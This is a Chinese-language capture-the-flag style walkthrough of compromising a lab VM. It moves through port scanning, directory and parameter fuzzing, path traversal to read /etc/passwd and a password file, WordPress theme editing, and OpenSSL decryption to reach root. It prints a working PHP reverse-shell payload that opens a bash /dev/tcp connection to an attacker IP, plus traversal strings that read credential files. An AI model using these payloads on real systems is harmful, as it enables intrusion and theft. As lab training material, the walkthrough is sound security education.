1.信息收集
靶机ip:192.168.88.156
1.1端口探测
sudo nmap --min-rate 10000 -p- 192.168.88.156
开放两个端口:22、80
1.2端口信息扫描
sudo nmap -sT -sV -O -p22,80 192.168.88.156
- 22端口 Oppenssh
- 80端口 Apache httd 2.4.18
1.3 Udp形式扫描
sudo nmap -sU -p22,80 192.168.88.156
udp协议扫描端口的状态都为关闭,可忽略
1.4脚本扫描
sudo nmap --script=vuln -p22,80 192.168.88.156
80端口页面仅存在一张图片,信息非常有限。
- HacknPentest: 在英语的表达中 n 代表and 故意思为破解和渗透
- 查看源码
- 源码不存在有价值信息
2.渗透实施
2.1目录爆破
目录爆破有多种工具,gobuster、dirb、feroxbuster、这款工具之间的算法有略微区别,但区别不大,若在单一款工具扫描结果不尽人意,找不到突破点,可以尝试多个工具参考结果。否则更应该关注当前使用目录爆破工具的参数设置及字典设置。
sudo dirb http://192.168.88.156
dirb字典指定是可选的。默认带一个字典
- dev-非常规目录
- JavaScript
- wordpress
- severe-statu
2.2查看目录
sudo curl http://192.168.88.156
回显告诉我们
- 我们现在处在0级
- 让我们继续深挖
2.3目录挖掘
sudo dirb http://192.168.88.156 -X .zip,txt
- X:指定dirb扫描文件类型
查看secret.txt
查看secret.txt文件中的链接
有一条wfuzz的命令行
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
w是web的缩写
基于web的模糊测试
回显告诉我们,在找到的php页面做更多的模糊处理
那我们指定php再进行一次扫描
sudo dirb http://192.168.88.156 -X .php
- http://192.168.88.156/image.php
- http://192.168.88.156/index.php
使用wfuzz指定对image.php进行模糊测试
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.156/image.php?FUZZ=something
-c:显示颜色,便于阅读和识别
-w:指定字典
--hc:筛选器,建议等结果出来之后再使用筛选器
--hh:
FUZZ:参数选择,在这里用什么都ok
命令得出的回显太多,简单放一点截图
得出总的结论之后再使用筛选器
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.88.156/image.php?FUZZ=something
--hh:过滤chars
并未发现结果
目标放在index.php
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.88.156/image.php?FUZZ=something
找到一个结果
使用curl查看
sudo curl 192.168.88.156/index.php?file
回显告诉我们:我挖到了错误的文件
回头去看之前的secret.txt最后一行
将location.txt赋值给file
sudo curl http://192.168.88.156/index.php?file=location.txt
内容告诉我们,已经拿到了精确的参数,现在要再往深处挖,下一个用secrettier360这个参数 在其他php页面找到更多乐趣
最终我们找到了正确的参数
但除此之外并没有告诉其他有用的信息,尝试是否存在目录遍历漏洞
sudo curl http://192.168.88.156/image.php?secrettier360=../../../../../../../../../../etc/passwd
一般来说,小于1000的账号都是功能性账号,意义不大。
- victor-存在bah环境
- saket-找到password.txt文件,在我的目录:/home/saket
查看password.txt
sudo curl http://192.168.88.156/image.php?secrettier360=../../../../../../../../../home/saket/password.txt
获得txt文件内容----follow_the_ippsec
尝试ssh
均为错误,只能换一个思路
切换到web方面进行渗透
2.4web阶段
前期我们已经知道了存在wordpress
首先应该考虑wordpress本身的漏洞该怎么利用,wordpress是一套非常著名的内容管理系统,
通过钟馗之眼可以知道,wordpress的安装量是遥遥领先其他管理系统的
使用wpscan扫描cms
sudo wpscan --url http://192.168.88.156/wordpress -e u
- -e:执行扫描结果 u 指定结果为用户名
- 在渗透测试的过程,每拿到一个信息,就要考虑这个信息该怎么利用。因为我们之前已经知道了密码,但并不清楚用户名。
扫描结果发现victor用户。使用账号密码登录wordpress
成功登录到wordpress
回想思路:目录爆破---靶机一直在引导我们走,每一步都在告诉我们该做什么---拿到密码---知道有那哪些目录---知道部署什么系统---通过wpscan扫描到wordpress用户----用户匹配之前拿到的密码---拿到后台管理端
这个思路也是很多网站部署的时候,信息使用的思路。只不过这台靶机将信息使用的线索穿起来了,很多实际的渗透测试场景中,未必那么完整,但通过我们对信息的筛选也可以达到同等的状态。
进到wordpress之后,利用方式会套路化:
- 漏洞是否存在
- 是否存在跨站脚本
- 是否存在权限设置不当的地方
- 是否存在新的漏洞、sql注入等
wordpress一般来说 能够有不同权限的地方,第一个就是插件
我们通过这个窗口可以上传payload
第二个是主题
这两块有些会对这个bug进行封闭。
尝试在脚本窗口上传内容,一般来说需要用zip格式
先随便做一个zip文件
尝试在插件上传,看回显是否写权限,如果有写权限,后续再传payload。没有则说明这条路走不通
回显提示并不能创建目录,说明和条路走不通
尝试在主题栏上传
依旧不可以
但在主题栏可以看到有一个主题编辑器
主题编辑器可以选择主题文件,在其中可以看到有很多php文件,这个地方其实是靠经验来判断的,每个文件一次查看,找到了能写入php代码的文件。
2.5建立反弹shell
写入php反弹shell并进行连接。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.88.155/443 0>&1'"); ?>
下面我们需要找到secret.php的路径并且运行php文件
wordpress的主题路径默认放在wordpress/wp-content/themes/下
而页面也给了组和文件名称
所以结合一下,我们可以得到路径ip/wordpress/wp-content/themes/twentynineteen/secret.php
反弹shell建立成功!
我们通过sudo -l查看权限可以知道
/home/saket/enc这个目录可以不需要密码就能使用root权限执行
简单查看该目录下存在哪些文件
在home下看一看
发现存在两个用户,其中一个用户是之前找到的密码,user下又发现了flag ,
查看enc目录但没有权限
查看enc的属性
enc是一个文件,可以执行
passwd文件并未发现有价值信息
shodow文件无权访问
2.6尝试提权openssl
sudo -l查看权限
回显结果可知,执行/home/saket/enc目录的命令不需要密码就可以使用root权限
查看目录下的文件及属性
发现存在enc可执行文件
2.61访问enc文件
尝试执行enc
尝试使用目录下password.txt文件的密码
失败.
尝试使用strings 查看文件内容
失败
尝试file 查看文件内容
告诉我们你这是一个正常的可执行文件,没有权限执行
截止到现在,我们仍然没有获得密码。如果没有密码,我们这条路就走不通,但按照靶机和渗透测试实验室情况很可能存在于某个位置
搜 要在根目录搜,找名字,可能是一个备份 尝试搜一下,但因为我们的权限有限,所以在搜的过程中会有很多报错,所以需要把报错扔掉
find / -name '*backup*' 2>/dev/null |sort |less
在/opt/backup/server_database/backup_pass中找到enc的密码:back_password
回显是一个good。两种可能:
- 只回显good,这条路走不通。
- 后台做了别的操作,只是我们看不到
退回saket目录查看
enc.txt存在base64编码
key.txt回显 需要MD5形式编码ippsec
user.txt 为一段flag
现在先将ippsec转为MD5形式
sudo echo -n 'ippsec' | md5sum
-n:省略换行符 不加-n会将 | 一起转为md5
得到MD5加密
当我们看到enc的文件时,我们应该想到OpenssL提解密渗透提权,而enc.txt里面的内容,则是OpenSSLenc加密解密的一个凭据,而ippsec是一个key,通过这个key我们才能知道enc.txt里面是什么内容。而且通过enc.txt内容的长度,我们也应该知道,里面是一段话,而不是等长的某个加密或验证码。
2.62尝试对enc.txt内容进行解密
echo -n 'xxx' | openssl enc -d -a -CipherType -K
openssl:
将管道符前面单引号里的内容交给openssl去解密
enc:
openssl解密方式
-d:解密命令
-a:
基于64的编码或解码。这要依靠加密的flag来定
-CipherType:
使用生成的文件内容作为变量
查看OpenSSL的帮助
帮助中告诉我们,标准命令有哪些,其中就包含enc
还有Message Digest消息摘要的命令
Cipher命令
对于我们常用的加密,基本都是Message Digest消息摘要命令和Cipher命令
但这么多的加密类型我们不知道哪个是我们需要的
尝试挨个试的方式
将所有的加密类型添加到文件中
echo awk '{gsub(/ /,"\n");print}' CiperTypeRaw | sort
- gsub(/ /,"\n"):所有//中的内容,都替换成""中的内容。也就是所有的空格都替换成换行符。这样可以确保每一项都可以单独一行
- sort:因为有多个空格,所有使用sort对文本进行排序
wc -l 以行的属性计数
但我们并没有这么多数据
往上看发现有空行
去掉空行
现在只剩下99行
输出到CiperTypes
sudo awk '{gsub(/ /,"\n");print}' CipherTypeRaw |sort | uniq > CiperTypes
现在,CiperTypes这个文件已经做完了
-K:
为ippsec的MD5形式
我们拿到key里面的说明--要把ippsec转换成md5 hash,用它来找到你自己。 你自己就代表的使我们当前使用的用户saket的用户名
查看帮助中enc里面的命令帮助
-K--原始的值、底层的数据、in hex代表16进制,所以需要我们做一个转换。这里面的提示很关键,如果我们直接用生成的ippsec md5形式,并不满足要求。
使用od工具
这个工具是用来转换8进制及其他形式--主要是转换8进制
使用od一定要有的一个参数 -A
这个参数还要指定一个参数,默认会有一个,我们需要去指定,指定doxn其中的一个
d:Decimal--小数
o:Octal--8进制
h:Hex--16进制
n:None--不需要指定
现在不需要任何指定根,但我们还必须要使用-A这个参数,使用要 -An
-t是需要的另一个参数--类型。需要选择一个输出的类型
选择-x 十六进制 但这里为双字节
对x也有介绍,十六进制,size代表为字节数
所以我们选在x1
这些文档是需要我们去了解知道的
sudo echo -n 'ippsec' | md5sum |awk -F ' ' '{print $1}' | od -A n -t x1
如果有过溢出漏洞的利用或二进制利用经验对这一块儿是不陌生的。
第三行多了一个0a显然是因为换行符或回车导致多出来的,我们仍然需要做处理。
使用tr工具 -d delete
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1
但现在仍然不是我们想要的东西,要把两行转为一行
接着再来一个换行符的修剪
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n'
空格我们也不需要,继续修剪空格
继续使用tr 修剪掉空格
sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '
3336366137346362336339353964653137643631646233303539316333396431
截止到现在我们的命令应该是这样的
现在我们应该集中看 怎么把刚刚找到的所有的CipherType里的类型能够在命令中尝试,我们只是推测 是base64 但并不能确定一定是base64。假如现在我们对类型是完全不知道的。
尝试写一个bash脚本去做选择
做一个名叫Cipher 的for循环,因为在当前目录下,查看Ciphertypes 执行一个do do的内容就是上面的所有命令,并将命令行中的-CipherType转换为bash脚本
for Cipher in $(cat CipherTypes);do echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6l/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653
137643631646233303539316333396431;done
出现很多结果,因为只有一条结果是对的。
但这些结果貌似没有正确的答案
这里面存在一个问题,openssl有一个bug,有时候需要-n 去掉换行符,但如果破解的字符串里面有真正的换行符,在破解完之后应该是回行的,如果存在换行符,又放进去了-n的参数显然是解不开的。尝试去掉-n参数
已经得到了结果,截至到现在,其实我们已经拿到了结果并且可以用结果做下一步。
但我们并不知道是哪个类型匹配的已经出现了太多的报错信息。
首先错误的信息我们不想要,echo一下变量,我们需要知道每次用哪个变量尝试的。 错误的我们不需要 所以2>/dev/null扔掉
for Cipher in $(cat CipherTypes);do echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6l/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653
137643631646233303539316333396431 2>/dev/null;echo $Cipher;done
很多错误已经被吃掉了,但大大增加了我们的易读性。回显得知,解密类型为aes-256-ecb
现在我们已经知道了解密类型,回到之前,将CipherTyper替换为aes-256-ecb直接执行
echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K 3336366137346362336339353964653137643631646233303539316333396431
得到一个old password
2.7尝试ssh登录
查看python状态
发现存在很多python
尝试提高shell交互性
python -c "import pty;pty.spawn('/bin/bash')"
3.提权
提权首先sudo -l查看当前账号所有的权限
回显告诉我们,当前账号可以使用root超级账号,没有密码的执行这条命令
尝试执行
如果你能打败我,那么面临挑战我
最后一行 /tmp/challenge 没有找到
那既然找不到我们就创建一下challenge 跟着他的指示走
创建一个challenge文件,并写入bash语句,执行发现没有权限,使用chmod给x的权限,并且执行之前可以不需要密码也能使用root权限的语句。执行成功
拿到root权限!!
4.总结
其实我们可以去查看系统版本,如果版本较低,很大可能存在内核漏洞可以利用。但我们并没有走这条路,因为内核漏洞相对于动作较多要暴力很多,容易被管理员发现并且容易导致服务器瘫痪。我们发现初始权限账号目录的时候发现一个enc目录,因为enc是openssl解密的一个命令,于是想到两者的相关性。然后按照这个路径试图去找系统中是否存在类似的备份或文件,毕竟这是一台靶机,所以有这个思路是正常的,当然在实际的渗透测试过程中,这个思路也符合一些管理员的设置,他们在备份的时候也会将重要信息甚至说账号密码放到opt的目录下,但我们并没有直接去找目录,而是通过find做了一些条件的过滤,找到可能的目录,最后发现opt里有一个backup文件,然后用它打开了他给了我们一些提示,然后也给了我们一个密码,用这个密码我们在执行可执行文件enc的时候,他吐了两个文件,分辨是enc.txt和key.txt。这两个文件看了之后我们就更加确定他是用的openssl enc加密解密的场景。场景确定之后,我们构造了相应的语句,解密语句的过程中涉及到了两个重要的点:
- 对于key的处理--使用md5生成加密,awk,od去处理,生成。满足了加密规范 的数据结构
- 我们无法确定key.txt中像base64加密的内容是什么类型的字符串。于是我们将所有的加密进行处理让他变成一行一行的字段,这样我们建立了bash语句 去遍历了所有的加密类型。在将所有语句执行之后又将语句进行过滤,比如错误的问题我们怎样抛掉,如何知道执行结果是哪种类型支持的。得到结果只会我们发现使用具体的单挑类型也可以进行解密
解密之后我们尝试使用结果进行ssh登录,登录之后我们尝试提权,sudo -l之后回显给我们一条不需要密码就能拥有root权限的命令。执行之后发现并没有challenge文件。于是我们根据他的要求在指定目录下建立文件并且在文件中写入bash脚本提权的命令。再次执行成功获得root权限。